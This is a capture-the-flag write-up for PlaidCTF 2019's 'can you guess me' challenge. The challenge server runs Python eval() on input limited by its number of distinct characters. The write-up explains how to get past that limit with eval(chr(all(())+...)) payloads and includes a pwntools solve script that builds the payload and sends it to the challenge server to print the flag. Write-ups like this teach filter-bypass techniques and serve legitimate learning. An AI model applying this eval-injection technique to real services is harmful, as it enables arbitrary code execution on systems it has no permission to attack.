PlaidCTF 2019 - can you guess me - misc (100pt)
Bypassing heavily filtered python code evaluation
can you guess me
Misc - 100pt
This was a fun challenge from PlaidCTF. We get the source code of the server below.
#! /usr/bin/env python3 from sys import exit from secret import secret_value_for_password, flag, exec print(r"") print(r"") print(r" ____ __ __ ____ __ __ ") print(r" / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ ") print(r"| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ ") print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ ") print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| ") print(r" ") print(r"") print(r"") try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope. Better luck next time.") except: print("Nope. No hacking.") exit(1)
The goal in this challenge is to get the value of the
flag variable. The obvious vulnerability here is that the code executes
eval(inp). However, you have a length limit of 10... or do you? The code gets the value of
len(set(inp)), which actually counts the number of unique characters in your input.
So, we need to find a payload with 10 or less characters that prints the
print(flag) was 1 character too many, so I just wanted to find something that worked. I tried
print(dir()), and this successfully caused the program to print out all variable names in global scope.
I couldn't find an easy way to print the value of the flag variable, so I decided to try and find a way to get arbitrary code execution with
I eventually stumbled upon
exec(chr(1+1+....+1)+chr(1+1+....+1)+....) , which would allow me to
exec() an arbitrary string with exactly 9 unique characters (
exchr1+() ). BUT.... the creators apparently thought of this. At the top of the file they have
from secret import exec, and the custom exec function just prints an ASCII trollface.
eval() instead, I guess! The problem with
eval(chr(1+1+...+1)+chr(1+1+...+1)+...)) payload is that it has 11 unique characters, so we need to figure out how to get rid of one. I figured that we probably need to keep
chr(), so is there any way avoid using
I looked at the list of built in functions in Python3, and noticed the very second one,
True if all the elements inside the iterable x are True. Also, in python,
True is treated as
1, just like in C-based languages. So, to get a
1, we can call
all() on an empty tuple:
Our final payload is in the form:
Solve script (generates code to
from pwn import * r = remote('canyouguessme.pwni.ng', 12349) exp = "print(flag)" chars =  for c in exp: ordinal = "+".join(["all(())"] * ord(c)) char = "chr("+ordinal+")" chars.append(char) payload = "+".join(chars) payload = "eval("+payload+")" print payload print len(set(payload)) r.recvuntil(': ') r.sendline(payload) r.interactive()
After the CTF ended I read about two much simpler payloads, which I may have came up with if I looked at the list of built-in functions to start off.
I still solved it pretty quickly though, and liked my solution because it gives you arbitrary code execution.